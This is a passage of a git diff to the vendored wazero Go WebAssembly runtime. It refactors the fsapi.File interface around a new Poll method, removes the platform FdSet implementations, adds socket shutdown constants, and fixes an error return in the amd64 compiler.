*wazeroir.UnionOperation) error { return err } - x1 := c.locationStack.peek() // Note this is peek, pop! + x1 := c.locationStack.peek() // Note this is peek! if err := c.compileEnsureOnRegister(x1); err != nil { return err } @@ -1125,7 +1125,7 @@ func (c *amd64Compiler) compileSub(o *wazeroir.UnionOperation) error { return err } - x1 := c.locationStack.peek() // Note this is peek, pop! + x1 := c.locationStack.peek() // Note this is peek! if err := c.compileEnsureOnRegister(x1); err != nil { return err } @@ -3499,7 +3499,7 @@ func (c *amd64Compiler) compileStoreImpl(offsetConst uint32, inst asm.Instructio reg, err := c.compileMemoryAccessCeilSetup(offsetConst, targetSizeInBytes) if err != nil { - return nil + return err } c.assembler.CompileRegisterToMemoryWithIndex( diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go index f40d4155a8..0640b22712 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go +++ b/vendor/github.com/tetratelabs/wazero/internal/fsapi/file.go @@ -1,77 +1,17 @@ package fsapi -import ( - "syscall" - "time" +import experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/sys" -) - -// File is a writeable fs.File bridge backed by syscall functions needed for ABI -// including WASI and runtime.GOOS=js. -// -// Implementations should embed UnimplementedFile for forward compatability. Any -// unsupported method or parameter should return ENOSYS. -// -// # Errors -// -// All methods that can return an error return a Errno, which is zero -// on success. -// -// Restricting to Errno matches current WebAssembly host functions, -// which are constrained to well-known error codes. For example, `GOOS=js` maps -// hard coded values and panics otherwise. More commonly, WASI maps syscall -// errors to u32 numeric values. +// File includes methods not yet ready to document for end users, notably +// non-blocking functionality. // -// # Notes -// -// - You must call Close to avoid file resource conflicts. For example, -// Windows cannot delete the underlying directory while a handle to it -// remains open. -// - A writable filesystem abstraction is not yet implemented as of Go 1.20. -// See https://github.com/golang/go/issues/45757 +// Particularly, Poll is subject to debate. For example, whether a user should +// be able to choose how to implement timeout or not. Currently, this interface +// allows the user to choose to sleep or use native polling, and which choice +// they make impacts thread behavior as summarized here: +// https://github.com/tetratelabs/wazero/pull/1606#issuecomment-1665475516 type File interface { - // Dev returns the device ID (Stat_t.Dev) of this file, zero if unknown or - // an error retrieving it. - // - // # Errors - // - // Possible errors are those from Stat, except ENOSYS should not - // be returned. Zero should be returned if there is no implementation. - // - // # Notes - // - // - Implementations should cache this result. - // - This combined with Ino can implement os.SameFile. - Dev() (uint64, experimentalsys.Errno) - - // Ino returns the serial number (Stat_t.Ino) of this file, zero if unknown - // or an error retrieving it. - // - // # Errors - // - // Possible errors are those from Stat, except ENOSYS should not - // be returned. Zero should be returned if there is no implementation. - // - // # Notes - // - // - Implementations should cache this result. - // - This combined with Dev can implement os.SameFile. - Ino() (sys.Inode, experimentalsys.Errno) - - // IsDir returns true if this file is a directory or an error there was an - // error retrieving this information. - // - // # Errors - // - // Possible errors are those from Stat, except ENOSYS should not - // be returned. false should be returned if there is no implementation. - // - // # Notes - // - // - Implementations should cache this result. - IsDir() (bool, experimentalsys.Errno) + experimentalsys.File // IsNonblock returns true if the file was opened with O_NONBLOCK, or // SetNonblock was successfully enabled on this file. @@ -96,272 +36,34 @@ type File interface { // POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fcntl.html SetNonblock(enable bool) experimentalsys.Errno - // IsAppend returns true if the file was opened with fsapi.O_APPEND, or - // SetAppend was successfully enabled on this file. - // - // # Notes - // - // - This might not match the underlying state of the file descriptor if - // the file was not opened via OpenFile. - IsAppend() bool - - // SetAppend toggles the append mode (fsapi.O_APPEND) of this file. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - There is no `O_APPEND` for `fcntl` in POSIX, so implementations may - // have to re-open the underlying file to apply this. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html - SetAppend(enable bool) experimentalsys.Errno - - // Stat is similar to syscall.Fstat. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.Fstat and `fstatat` with `AT_FDCWD` in POSIX. - // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/stat.html - // - A fs.FileInfo backed implementation sets atim, mtim and ctim to the - // same value. - // - Windows allows you to stat a closed directory. - Stat() (sys.Stat_t, experimentalsys.Errno) - - // Read attempts to read all bytes in the file into `buf`, and returns the - // count read even on error. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed or not readable. - // - EISDIR: the file was a directory. - // - // # Notes - // - // - This is like io.Reader and `read` in POSIX, preferring semantics of - // io.Reader. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/read.html - // - Unlike io.Reader, there is no io.EOF returned on end-of-file. To - // read the file completely, the caller must repeat until `n` is zero. - Read(buf []byte) (n int, errno experimentalsys.Errno) - - // Pread attempts to read all bytes in the file into `p`, starting at the - // offset `off`, and returns the count read even on error. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed or not readable. - // - EINVAL: the offset was negative. - // - EISDIR: the file was a directory. - // - // # Notes - // - // - This is like io.ReaderAt and `pread` in POSIX, preferring semantics - // of io.ReaderAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pread.html - // - Unlike io.ReaderAt, there is no io.EOF returned on end-of-file. To - // read the file completely, the caller must repeat until `n` is zero. - Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno) - - // Seek attempts to set the next offset for Read or Write and returns the - // resulting absolute offset or an error. + // Poll returns if the file has data ready to be read or written. // // # Parameters // - // The `offset` parameters is interpreted in terms of `whence`: - // - io.SeekStart: relative to the start of the file, e.g. offset=0 sets - // the next Read or Write to the beginning of the file. - // - io.SeekCurrent: relative to the current offset, e.g. offset=16 sets - // the next Read or Write 16 bytes past the prior. - // - io.SeekEnd: relative to the end of the file, e.g. offset=-1 sets the - // next Read or Write to the last byte in the file. - // - // # Behavior when a directory - // - // The only supported use case for a directory is seeking to `offset` zero - // (`whence` = io.SeekStart). This should have the same behavior as - // os.File, which resets any internal state used by Readdir. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed or not readable. - // - EINVAL: the offset was negative. - // - // # Notes - // - // - This is like io.Seeker and `fseek` in POSIX, preferring semantics - // of io.Seeker. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fseek.html - Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) - - // PollRead returns if the file has data ready to be read or an error. + // The `flag` parameter determines which event to await, such as POLLIN, + // POLLOUT, or a combination like `POLLIN|POLLOUT`. // - // # Parameters + // The `timeoutMillis` parameter is how long to block for an event, or + // interrupted, in milliseconds. There are two special values: + // - zero returns immediately + // - any negative value blocks any amount of time // - // The `timeout` parameter when nil blocks up to forever. + // # Results // - // # Errors + // `ready` means there was data ready to read or written. False can mean no + // event was ready or `errno` is not zero. // - // A zero Errno is success. The below are expected otherwise: + // A zero `errno` is success. The below are expected otherwise: // - ENOSYS: the implementation does not support this function. + // - ENOTSUP: the implementation does not the flag combination. + // - EINTR: the call was interrupted prior to an event. // // # Notes // // - This is like `poll` in POSIX, for a single file. // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/poll.html // - No-op files, such as those which read from /dev/null, should return - // immediately true to avoid hangs (because data will never become - // available). - PollRead(timeout *time.Duration) (ready bool, errno experimentalsys.Errno) - - // Readdir reads the contents of the directory associated with file and - // returns a slice of up to n Dirent values in an arbitrary order. This is - // a stateful function, so subsequent calls return any next values. - // - // If n > 0, Readdir returns at most n entries or an error. - // If n <= 0, Readdir returns all remaining entries or an error. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file was closed or not a directory. - // - ENOENT: the directory could not be read (e.g. deleted). - // - // # Notes - // - // - This is like `Readdir` on os.File, but unlike `readdir` in POSIX. - // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html - // - Unlike os.File, there is no io.EOF returned on end-of-directory. To - // read the directory completely, the caller must repeat until the - // count read (`len(dirents)`) is less than `n`. - // - See /RATIONALE.md for design notes. - Readdir(n int) (dirents []Dirent, errno experimentalsys.Errno) - - // Write attempts to write all bytes in `p` to the file, and returns the - // count written even on error. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file was closed, not writeable, or a directory. - // - // # Notes - // - // - This is like io.Writer and `write` in POSIX, preferring semantics of - // io.Writer. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/write.html - Write(buf []byte) (n int, errno experimentalsys.Errno) - - // Pwrite attempts to write all bytes in `p` to the file at the given - // offset `off`, and returns the count written even on error. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed or not writeable. - // - EINVAL: the offset was negative. - // - EISDIR: the file was a directory. - // - // # Notes - // - // - This is like io.WriterAt and `pwrite` in POSIX, preferring semantics - // of io.WriterAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pwrite.html - Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno) - - // Truncate truncates a file to a specified length. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed. - // - EINVAL: the `size` is negative. - // - EISDIR: the file was a directory. - // - // # Notes - // - // - This is like syscall.Ftruncate and `ftruncate` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/ftruncate.html - // - Windows does not error when calling Truncate on a closed file. - Truncate(size int64) experimentalsys.Errno - - // Sync synchronizes changes to the file. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.Fsync and `fsync` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fsync.html - // - This returns with no error instead of ENOSYS when - // unimplemented. This prevents fake filesystems from erring. - // - Windows does not error when calling Sync on a closed file. - Sync() experimentalsys.Errno - - // Datasync synchronizes the data of a file. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.Fdatasync and `fdatasync` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fdatasync.html - // - This returns with no error instead of ENOSYS when - // unimplemented. This prevents fake filesystems from erring. - // - As this is commonly missing, some implementations dispatch to Sync. - Datasync() experimentalsys.Errno - - // Utimens set file access and modification times of this file, at - // nanosecond precision. - // - // # Parameters - // - // The `times` parameter includes the access and modification timestamps to - // assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT may be - // specified instead of real timestamps. A nil `times` parameter behaves the - // same as if both were set to UTIME_NOW. - // - // # Errors - // - // A zero Errno is success. The below are expected otherwise: - // - ENOSYS: the implementation does not support this function. - // - EBADF: the file or directory was closed. - // - // # Notes - // - // - This is like syscall.UtimesNano and `futimens` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html - // - Windows requires files to be open with fsapi.O_RDWR, which means you - // cannot use this to update timestamps on a directory (EPERM). - Utimens(times *[2]syscall.Timespec) experimentalsys.Errno - - // Close closes the underlying file. - // - // A zero Errno is returned if unimplemented or success. - // - // # Notes - // - // - This is like syscall.Close and `close` in POSIX. See - // https://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html - Close() experimentalsys.Errno + // immediately true, as data will never become available. + // - See /RATIONALE.md for detailed notes including impact of blocking. + Poll(flag Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) } diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go new file mode 100644 index 0000000000..25f7c5711b --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/fsapi/poll.go @@ -0,0 +1,20 @@ +package fsapi + +// Pflag are bit flags used for File.Poll. Values, including zero, should not +// be interpreted numerically. Instead, use by constants prefixed with 'POLL'. +// +// # Notes +// +// - This is like `pollfd.events` flags for `poll` in POSIX. See +// https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/poll.h.html +type Pflag uint32 + +// Only define bitflags we support and are needed by `poll_oneoff` in wasip1 +// See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#eventrwflags +const ( + // POLLIN is a read event. + POLLIN Pflag = 1 << iota + + // POLLOUT is a write event. + POLLOUT +) diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go index b31cbd13f5..99d9c2db34 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go +++ b/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go @@ -1,193 +1,27 @@ package fsapi -import ( - "io/fs" - "syscall" - "time" +import experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/sys" -) - -// UnimplementedFS is an FS that returns ENOSYS for all functions, -// This should be embedded to have forward compatible implementations. -type UnimplementedFS struct{} - -// String implements fmt.Stringer -func (UnimplementedFS) String() string { - return "Unimplemented:/" -} - -// Open implements the same method as documented on fs.FS -func (UnimplementedFS) Open(name string) (fs.File, error) { - return nil, &fs.PathError{Op: "open", Path: name, Err: experimentalsys.ENOSYS} -} - -// OpenFile implements FS.OpenFile -func (UnimplementedFS) OpenFile(path string, flag Oflag, perm fs.FileMode) (File, experimentalsys.Errno) { - return nil, experimentalsys.ENOSYS -} - -// Lstat implements FS.Lstat -func (UnimplementedFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) { - return sys.Stat_t{}, experimentalsys.ENOSYS -} - -// Stat implements FS.Stat -func (UnimplementedFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { - return sys.Stat_t{}, experimentalsys.ENOSYS -} - -// Readlink implements FS.Readlink -func (UnimplementedFS) Readlink(path string) (string, experimentalsys.Errno) { - return "", experimentalsys.ENOSYS -} - -// Mkdir implements FS.Mkdir -func (UnimplementedFS) Mkdir(path string, perm fs.FileMode) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Chmod implements FS.Chmod -func (UnimplementedFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Rename implements FS.Rename -func (UnimplementedFS) Rename(from, to string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Rmdir implements FS.Rmdir -func (UnimplementedFS) Rmdir(path string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Link implements FS.Link -func (UnimplementedFS) Link(_, _ string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Symlink implements FS.Symlink -func (UnimplementedFS) Symlink(_, _ string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Unlink implements FS.Unlink -func (UnimplementedFS) Unlink(path string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Utimens implements FS.Utimens -func (UnimplementedFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Truncate implements FS.Truncate -func (UnimplementedFS) Truncate(string, int64) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// UnimplementedFile is a File that returns ENOSYS for all functions, -// except where no-op are otherwise documented. -// -// This should be embedded to have forward compatible implementations. -type UnimplementedFile struct{} - -// Dev implements File.Dev -func (UnimplementedFile) Dev() (uint64, experimentalsys.Errno) { - return 0, 0 -} - -// Ino implements File.Ino -func (UnimplementedFile) Ino() (sys.Inode, experimentalsys.Errno) { - return 0, 0 -} - -// IsDir implements File.IsDir -func (UnimplementedFile) IsDir() (bool, experimentalsys.Errno) { - return false, 0 +func Adapt(f experimentalsys.File) File { + if f, ok := f.(File); ok { + return f + } + return unimplementedFile{f} } -// IsAppend implements File.IsAppend -func (UnimplementedFile) IsAppend() bool { - return false -} - -// SetAppend implements File.SetAppend -func (UnimplementedFile) SetAppend(bool) experimentalsys.Errno { - return experimentalsys.ENOSYS -} +type unimplementedFile struct{ experimentalsys.File } // IsNonblock implements File.IsNonblock -func (UnimplementedFile) IsNonblock() bool { +func (unimplementedFile) IsNonblock() bool { return false } // SetNonblock implements File.SetNonblock -func (UnimplementedFile) SetNonblock(bool) experimentalsys.Errno { +func (unimplementedFile) SetNonblock(bool) experimentalsys.Errno { return experimentalsys.ENOSYS } -// Stat implements File.Stat -func (UnimplementedFile) Stat() (sys.Stat_t, experimentalsys.Errno) { - return sys.Stat_t{}, experimentalsys.ENOSYS -} - -// Read implements File.Read -func (UnimplementedFile) Read([]byte) (int, experimentalsys.Errno) { - return 0, experimentalsys.ENOSYS -} - -// Pread implements File.Pread -func (UnimplementedFile) Pread([]byte, int64) (int, experimentalsys.Errno) { - return 0, experimentalsys.ENOSYS -} - -// Seek implements File.Seek -func (UnimplementedFile) Seek(int64, int) (int64, experimentalsys.Errno) { - return 0, experimentalsys.ENOSYS -} - -// Readdir implements File.Readdir -func (UnimplementedFile) Readdir(int) (dirents []Dirent, errno experimentalsys.Errno) { - return nil, experimentalsys.ENOSYS -} - -// PollRead implements File.PollRead -func (UnimplementedFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) { +// Poll implements File.Poll +func (unimplementedFile) Poll(Pflag, int32) (ready bool, errno experimentalsys.Errno) { return false, experimentalsys.ENOSYS } - -// Write implements File.Write -func (UnimplementedFile) Write([]byte) (int, experimentalsys.Errno) { - return 0, experimentalsys.ENOSYS -} - -// Pwrite implements File.Pwrite -func (UnimplementedFile) Pwrite([]byte, int64) (int, experimentalsys.Errno) { - return 0, experimentalsys.ENOSYS -} - -// Truncate implements File.Truncate -func (UnimplementedFile) Truncate(int64) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Sync implements File.Sync -func (UnimplementedFile) Sync() experimentalsys.Errno { - return 0 // not ENOSYS -} - -// Datasync implements File.Datasync -func (UnimplementedFile) Datasync() experimentalsys.Errno { - return 0 // not ENOSYS -} - -// Utimens implements File.Utimens -func (UnimplementedFile) Utimens(*[2]syscall.Timespec) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Close implements File.Close -func (UnimplementedFile) Close() (errno experimentalsys.Errno) { return } diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go deleted file mode 100644 index 1017c805ac..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go +++ /dev/null @@ -1,25 +0,0 @@ -//go:build !windows - -package platform - -// Set adds the given fd to the set. -func (f *FdSet) Set(fd int) { - f.Bits[fd/nfdbits] |= (1 << (uintptr(fd) % nfdbits)) -} - -// Clear removes the given fd from the set. -func (f *FdSet) Clear(fd int) { - f.Bits[fd/nfdbits] &^= (1 << (uintptr(fd) % nfdbits)) -} - -// IsSet returns true when fd is in the set. -func (f *FdSet) IsSet(fd int) bool { - return f.Bits[fd/nfdbits]&(1<<(uintptr(fd)%nfdbits)) != 0 -} - -// Zero clears the set. -func (f *FdSet) Zero() { - for i := range f.Bits { - f.Bits[i] = 0 - } -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go deleted file mode 100644 index da52339cbc..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go +++ /dev/null @@ -1,8 +0,0 @@ -package platform - -import "syscall" - -const nfdbits = 0x20 - -// FdSet re-exports syscall.FdSet with utility methods. -type FdSet syscall.FdSet diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go deleted file mode 100644 index f392caf4c1..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go +++ /dev/null @@ -1,8 +0,0 @@ -package platform - -import "syscall" - -const nfdbits = 0x40 - -// FdSet re-exports syscall.FdSet with utility methods. -type FdSet syscall.FdSet diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go deleted file mode 100644 index ad9cf09109..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go +++ /dev/null @@ -1,10 +0,0 @@ -//go:build !darwin && !linux && !windows - -package platform - -const nfdbits = 0x40 - -// FdSet mocks syscall.FdSet on systems that do not support it. -type FdSet struct { - Bits [16]int64 -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_windows.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_windows.go deleted file mode 100644 index 60773ed54a..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_windows.go +++ /dev/null @@ -1,239 +0,0 @@ -package platform - -import ( - "syscall" - "unsafe" -) - -var procGetNamedPipeInfo = kernel32.NewProc("GetNamedPipeInfo") - -// Maximum number of fds in a WinSockFdSet. -const _FD_SETSIZE = 64 - -// WinSockFdSet implements the FdSet representation that is used internally by WinSock. -// -// Note: this representation is quite different from the one used in most POSIX implementations -// where a bitfield is usually implemented; instead on Windows we have a simpler array+count pair. -// Notice that because it keeps a count of the inserted handles, the first argument of select -// in WinSock is actually ignored. -// -// The implementation of the Set, Clear, IsSet, Zero, methods follows exactly -// the real implementation found in WinSock2.h, e.g. see: -// https://github.com/microsoft/win32metadata/blob/ef7725c75c6b39adfdc13ba26fb1d89ac954449a/generation/WinSDK/RecompiledIdlHeaders/um/WinSock2.h#L124-L175 -type WinSockFdSet struct { - // count is the number of used slots used in the handles slice. - count uint64 - // handles is the array of handles. This is called "array" in the WinSock implementation - // and it has a fixed length of _FD_SETSIZE. - handles [_FD_SETSIZE]syscall.Handle -} - -// FdSet implements the same methods provided on other plaforms. -// -// Note: the implementation is very different from POSIX; Windows provides -// POSIX select only for sockets. We emulate a select for other APIs in the sysfs -// package, but we still want to use the "real" select in the case of sockets. -// So, we keep separate FdSets for sockets, pipes and regular files, so that we can -// handle them separately. For instance sockets can be used directly in winsock select. -type FdSet struct { - sockets WinSockFdSet - pipes WinSockFdSet - regular WinSockFdSet -} - -// SetAll overwrites all the fields in f with the fields in g. -func (f *FdSet) SetAll(g *FdSet) { - if f == nil { - return - } - f.sockets = g.sockets - f.pipes = g.pipes - f.regular = g.regular -} - -// Sockets returns a WinSockFdSet containing the handles in this FdSet that are sockets. -func (f *FdSet) Sockets() *WinSockFdSet { - if f == nil { - return nil - } - return &f.sockets -} - -// Regular returns a WinSockFdSet containing the handles in this FdSet that are regular files. -func (f *FdSet) Regular() *WinSockFdSet { - if f == nil { - return nil - } - return &f.regular -} - -// Pipes returns a WinSockFdSet containing the handles in this FdSet that are pipes. -func (f *FdSet) Pipes() *WinSockFdSet { - if f == nil { - return nil - } - return &f.pipes -} - -// getFdSetFor returns a pointer to the right fd set for the given fd. -// It checks the type for fd and returns the field for pipes, regular or sockets -// to simplify code. -// -// For instance, if fd is a socket and it must be set if f.pipes, instead -// of writing: -// -// if isSocket(fd) { -// f.sockets.Set(fd) -// } -// -// It is possible to write: -// -// f.getFdSetFor(fd).Set(fd) -func (f *FdSet) getFdSetFor(fd int) *WinSockFdSet { - h := syscall.Handle(fd) - t, err := syscall.GetFileType(h) - if err != nil { - return nil - } - switch t { - case syscall.FILE_TYPE_CHAR, syscall.FILE_TYPE_DISK: - return &f.regular - case syscall.FILE_TYPE_PIPE: - if isSocket(h) { - return &f.sockets - } else { - return &f.pipes - } - default: - return nil - } -} - -// Set adds the given fd to the set. -func (f *FdSet) Set(fd int) { - if s := f.getFdSetFor(fd); s != nil { - s.Set(fd) - } -} - -// Clear removes the given fd from the set. -func (f *FdSet) Clear(fd int) { - if s := f.getFdSetFor(fd); s != nil { - s.Clear(fd) - } -} - -// IsSet returns true when fd is in the set. -func (f *FdSet) IsSet(fd int) bool { - if s := f.getFdSetFor(fd); s != nil { - return s.IsSet(fd) - } - return false -} - -// Copy returns a copy of this FdSet. It returns nil, if the FdSet is nil. -func (f *FdSet) Copy() *FdSet { - if f == nil { - return nil - } - return &FdSet{ - sockets: f.sockets, - pipes: f.pipes, - regular: f.regular, - } -} - -// Zero clears the set. It returns 0 if the FdSet is nil. -func (f *FdSet) Count() int { - if f == nil { - return 0 - } - return f.sockets.Count() + f.regular.Count() + f.pipes.Count() -} - -// Zero clears the set. -func (f *FdSet) Zero() { - if f == nil { - return - } - f.sockets.Zero() - f.regular.Zero() - f.pipes.Zero() -} - -// Set adds the given fd to the set. -func (f *WinSockFdSet) Set(fd int) { - if f.count < _FD_SETSIZE { - f.handles[f.count] = syscall.Handle(fd) - f.count++ - } -} - -// Clear removes the given fd from the set. -func (f *WinSockFdSet) Clear(fd int) { - h := syscall.Handle(fd) - for i := uint64(0); i < f.count; i++ { - if f.handles[i] == h { - for ; i < f.count-1; i++ { - f.handles[i] = f.handles[i+1] - } - f.count-- - break - } - } -} - -// IsSet returns true when fd is in the set. -func (f *WinSockFdSet) IsSet(fd int) bool { - h := syscall.Handle(fd) - for i := uint64(0); i < f.count; i++ { - if f.handles[i] == h { - return true - } - } - return false -} - -// Zero clears the set. -func (f *WinSockFdSet) Zero() { - if f == nil { - return - } - f.handles = [64]syscall.Handle{} - f.count = 0 -} - -// Count returns the number of values that are set in the fd set. -func (f *WinSockFdSet) Count() int { - if f == nil { - return 0 - } - return int(f.count) -} - -// Copy returns a copy of the fd set or nil if it is nil. -func (f *WinSockFdSet) Copy() *WinSockFdSet { - if f == nil { - return nil - } - copy := *f - return © -} - -// Get returns the handle at the given index. -func (f *WinSockFdSet) Get(index int) syscall.Handle { - return f.handles[index] -} - -// isSocket returns true if the given file handle -// is a pipe. -func isSocket(fd syscall.Handle) bool { - r, _, errno := syscall.SyscallN( - procGetNamedPipeInfo.Addr(), - uintptr(fd), - uintptr(unsafe.Pointer(nil)), - uintptr(unsafe.Pointer(nil)), - uintptr(unsafe.Pointer(nil)), - uintptr(unsafe.Pointer(nil))) - return r == 0 || errno != 0 -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go b/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go index c49d1fbb22..ca17aa39ee 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go @@ -5,25 +5,24 @@ import ( "net" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" ) // TCPSock is a pseudo-file representing a TCP socket. type TCPSock interface { - fsapi.File + sys.File Accept() (TCPConn, sys.Errno) } // TCPConn is a pseudo-file representing a TCP connection. type TCPConn interface { - fsapi.File + sys.File // Recvfrom only supports the flag sysfs.MSG_PEEK - // TODO: document this like fsapi.File with known sys.Errno + // TODO: document this like sys.File with known sys.Errno Recvfrom(p []byte, flags int) (n int, errno sys.Errno) - // TODO: document this like fsapi.File with known sys.Errno + // TODO: document this like sys.File with known sys.Errno Shutdown(how int) sys.Errno } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go new file mode 100644 index 0000000000..30cdb9f926 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go @@ -0,0 +1,11 @@ +//go:build !plan9 && !js + +package sock + +import "syscall" + +const ( + SHUT_RD = syscall.SHUT_RD + SHUT_RDWR = syscall.SHUT_RDWR + SHUT_WR = syscall.SHUT_WR +) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go new file mode 100644 index 0000000000..76ec031efa --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go @@ -0,0 +1,10 @@ +//go:build plan9 || js + +package sock + +// plan9/js doesn't declare these constants +const ( + SHUT_RD = 1 << iota + SHUT_WR + SHUT_RDWR = SHUT_RD | SHUT_WR +) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go b/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go index f85e2ff24e..332a952626 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go @@ -48,7 +48,7 @@ type FileEntry struct { IsPreopen bool // FS is the filesystem associated with the pre-open. - FS fsapi.FS + FS sys.FS // File is always non-nil. File fsapi.File @@ -91,7 +91,7 @@ func (f *FileEntry) DirentCache() (*DirentCache, sys.Errno) { return f.direntCache, 0 } -// DirentCache is a caching abstraction of fsapi.File Readdir. +// DirentCache is a caching abstraction of sys.File Readdir. // // This is special-cased for "wasi_snapshot_preview1.fd_readdir", and may be // unneeded, or require changes, to support preview1 or preview2. @@ -99,7 +99,7 @@ func (f *FileEntry) DirentCache() (*DirentCache, sys.Errno) { // described below, any may need to be re-read. This accepts any positions // in the cache, rather than track the position of the last dirent. // - dot entries ("." and "..") must be returned. See /RATIONALE.md for why. -// - An fsapi.Dirent Name is variable length, it could exceed memory size and +// - An sys.Dirent Name is variable length, it could exceed memory size and // need to be re-read. // - Multiple dirents may be returned. It is more efficient to read from the // 